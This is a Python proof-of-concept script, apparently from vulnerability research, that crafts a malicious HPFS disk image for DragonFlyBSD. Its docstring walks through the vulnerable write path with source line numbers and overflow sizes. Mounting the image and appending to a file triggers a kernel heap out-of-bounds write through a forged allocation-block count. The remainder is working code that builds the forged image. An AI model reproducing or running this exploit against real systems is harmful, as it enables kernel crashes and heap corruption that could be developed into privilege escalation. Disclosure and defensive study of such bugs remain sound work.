DF-0859 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | #!/usr/bin/env python3 """ DF-0859 — Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB WRITE in hpfs_alblk2alsec() (and friends hpfs_splitalsec / hpfs_concatalsec) end-to-end on the DragonFlyBSD guest. These three helpers live on the HPFS WRITE/TRUNCATE path: hpfs_write -> hpfs_extend -> hpfs_addextent -> hpfs_alblk2alsec [sys/vfs/hpfs/hpfs_alsubr.c:314] -> hpfs_splitalsec [sys/vfs/hpfs/hpfs_alsubr.c:229] open(O_TRUNC)/truncate -> hpfs_truncate -> hpfs_truncatealblk -> hpfs_concatalsec [sys/vfs/hpfs/hpfs_alsubr.c:278] The image is the same minimal layout used by DF-0857's crafter (which targets the READ path); the only difference is the trigger — here we MOUNT READ-WRITE and WRITE past end-of-file, which routes through hpfs_addextent. Because the file fnode's forged fn_ab has: ab_busycnt = 255 (untrusted on-disk byte, never validated) ab_freecnt = 0 (so the `if (rabp->ab_freecnt <= 0)` test at hpfs_alsubr.c:468 fires on the very first hpfs_addextent call) ab_flag = 0 (leaf — sizeof(alleaf_t) = 12) fn_size = 0x10000 (so al.al_off = fn_size >> 9 = 0x80 > 0, skipping the init block at hpfs_alsubr.c:349 that would clobber the forged alblk) … the first call to hpfs_addextent falls straight into: rabp->ab_flag |= AB_FNPARENT; error = hpfs_alblk2alsec (hpmp, rabp, &nrasp, &nbp); [hpfs_alsubr.c:479] … whose body executes: sz = sizeof(alleaf_t); [=12] bcopy(abp, nabp, sizeof(alblk_t) + sz*abp->ab_busycnt); [line 314] = bcopy(fn_ab, new_alsec.as_ab, 8 + 12*255) = bcopy(..., ..., 3068) Source: fnode fn_ab at offset 0x3C in struct hpfsnode; data area fn_abd is 96 bytes; reading 3068B reads 2964B past fn_abd into the rest of hpfsnode + neighbouring slab. Destination: new alsec backing buffer is exactly DEV_BSIZE=512 bytes (allocated via getblk in hpfs_allocalsec, hpfs_alsubr.c:178). Writing 3068B at offset 12 (as_ab) overruns the 512B buffer by 3080-512 = 2568 bytes into neighbouring slab. On the default GENERIC kernel (INVARIANTS ON) the OOB write corrupts the slab allocator's metadata and panics. Image layout (sector size = 512B, DEV_BSIZE): LSN contents ---- --------------------------------------------------------------- 0x00 boot sector (zeros) 0x10 SuperBlock (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80; su_bitmap.lsn1=0x30) 0x11 SpareBlock (magic FA5229C5F9911849) 0x20 root fnode (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40}) 0x30 bitmap dir (one u32 = 0x38, the bitmap sector) 0x38 bitmap (4KB = 8 sectors; mark used sectors) 0x40 dirblk (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE" -> fnode LSN=0x48) 0x48 file fnode (VREG; FORGED fn_ab: busycnt=255, freecnt=0, leaf; alleaf[0]={0,4,0x50}; fn_size=0x10000) 0x50 file data (4 sectors = 2KB of 'A') 0x60..0x7F free space (so hpm_bavail >= 0x10 passes the hpfs_extend guard) Mount (root): mount_hpfs /dev/vnX /mnt Trigger (unpriv): echo AAAA >> /mnt/FILE -> VOP_WRITE -> hpfs_write -> hpfs_extend -> hpfs_addextent -> freecnt<=0 -> hpfs_alblk2alsec -> bcopy(..., 3068) -> OOB WRITE -> panic (INVARIANTS) / heap corruption """ import struct, sys SECTOR = 512 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE FN_OFF_MAGIC = 0x00 FN_OFF_HIST = 0x08 FN_OFF_NAMELEN = 0x10 FN_OFF_NAME = 0x11 FN_OFF_PARENT = 0x20 FN_OFF_FLAG = 0x3B FN_OFF_AB = 0x3C FN_OFF_ABD = 0x44 FN_OFF_SIZE = 0xA4 AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 def build_image(outpath, forged_busycnt=255, forged_freecnt=0): size = 0x80 * SECTOR img = bytearray(size) def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF) def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF) def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF) def wr8 (off, v): img[off] = v & 0xFF img[0] = 0xEB wr16(SECTOR-2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC) wr8 (su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, 0x80) wr32(su + 24, 0x30) wr32(su + 28, 0x30) sp = 0x11 * SECTOR wr64(sp + 0, SP_MAGIC) bd = 0x30 * SECTOR wr32(bd, 0x38) bm = 0x38 * SECTOR for i in range(0x60): img[bm + (i >> 3)] &= ~(1 << (i & 7)) for i in range(0x60, 0x80): img[bm + (i >> 3)] |= (1 << (i & 7)) rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8 (rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr32(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0) wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 4 * SECTOR) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 0x50) wr32(db + 8, 0) wr32(db + 12, 0x20) wr32(db + 16, 0x40) name = b'FILE' de1_hdr = 0x2f de1_reclen = (de1_hdr + len(name) + 3) & ~3 dep = db + 20 wr16(dep + 0x00, de1_reclen) wr16(dep + 0x02, 0) wr32(dep + 0x04, 0x48) wr64(dep + 0x08, 0) wr32(dep + 0x10, 0x1000) wr64(dep + 0x18, 0) wr64(dep + 0x20, 0) wr32(dep + 0x28, 0) img[dep + 0x2c] = 0 img[dep + 0x2d] = 0 img[dep + 0x2e] = len(name) for i in range(len(name)): img[dep + 0x2f + i] = name[i] dep2 = dep + de1_reclen end_reclen = 4 * SECTOR - (dep2 - db) wr16(dep2 + 0x00, end_reclen) wr16(dep2 + 0x02, 0x08) wr32(db + 4, (dep2 + 4) - db) ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr32(ff + FN_OFF_PARENT, 0x20) wr8 (ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME + 0] = ord('F') img[ff + FN_OFF_NAME + 1] = ord('I') img[ff + FN_OFF_NAME + 2] = ord('L') img[ff + FN_OFF_NAME + 3] = ord('E') wr32(ff + FN_OFF_FLAG, 0) # FORGED alblk — leaf, busycnt=255, freecnt=0 -> triggers # hpfs_alblk2alsec on first hpfs_addextent. img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 img[ff + FN_OFF_AB + AB_OFF_FREECNT] = forged_freecnt img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0]: one valid extent at LSN 0x50, len 4 sectors (2 KB) wr32(ff + FN_OFF_ABD + 0, 0) wr32(ff + FN_OFF_ABD + 4, 4) wr32(ff + FN_OFF_ABD + 8, 0x50) # poison subsequent alleaf entries for k in range(1, 8): off = ff + FN_OFF_ABD + k*12 if off + 12 <= ff + FN_OFF_ABD + 0x60: wr32(off + 0, 0xDEADBEEF) wr32(off + 4, 0xCAFEBABE) wr32(off + 8, 0xFEEDFACE) # fn_size non-zero so al.al_off > 0 and the init block at :349 is skipped wr32(ff + FN_OFF_SIZE, 0x10000) fd = 0x50 * SECTOR img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR) with open(outpath, 'wb') as f: f.write(img) print(f"wrote {outpath}: {len(img)} bytes; " f"forged busycnt={forged_busycnt} freecnt={forged_freecnt}") if __name__ == '__main__': n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255 build_image(sys.argv[1] if len(sys.argv) > 1 else 'df859.img', forged_busycnt=n) |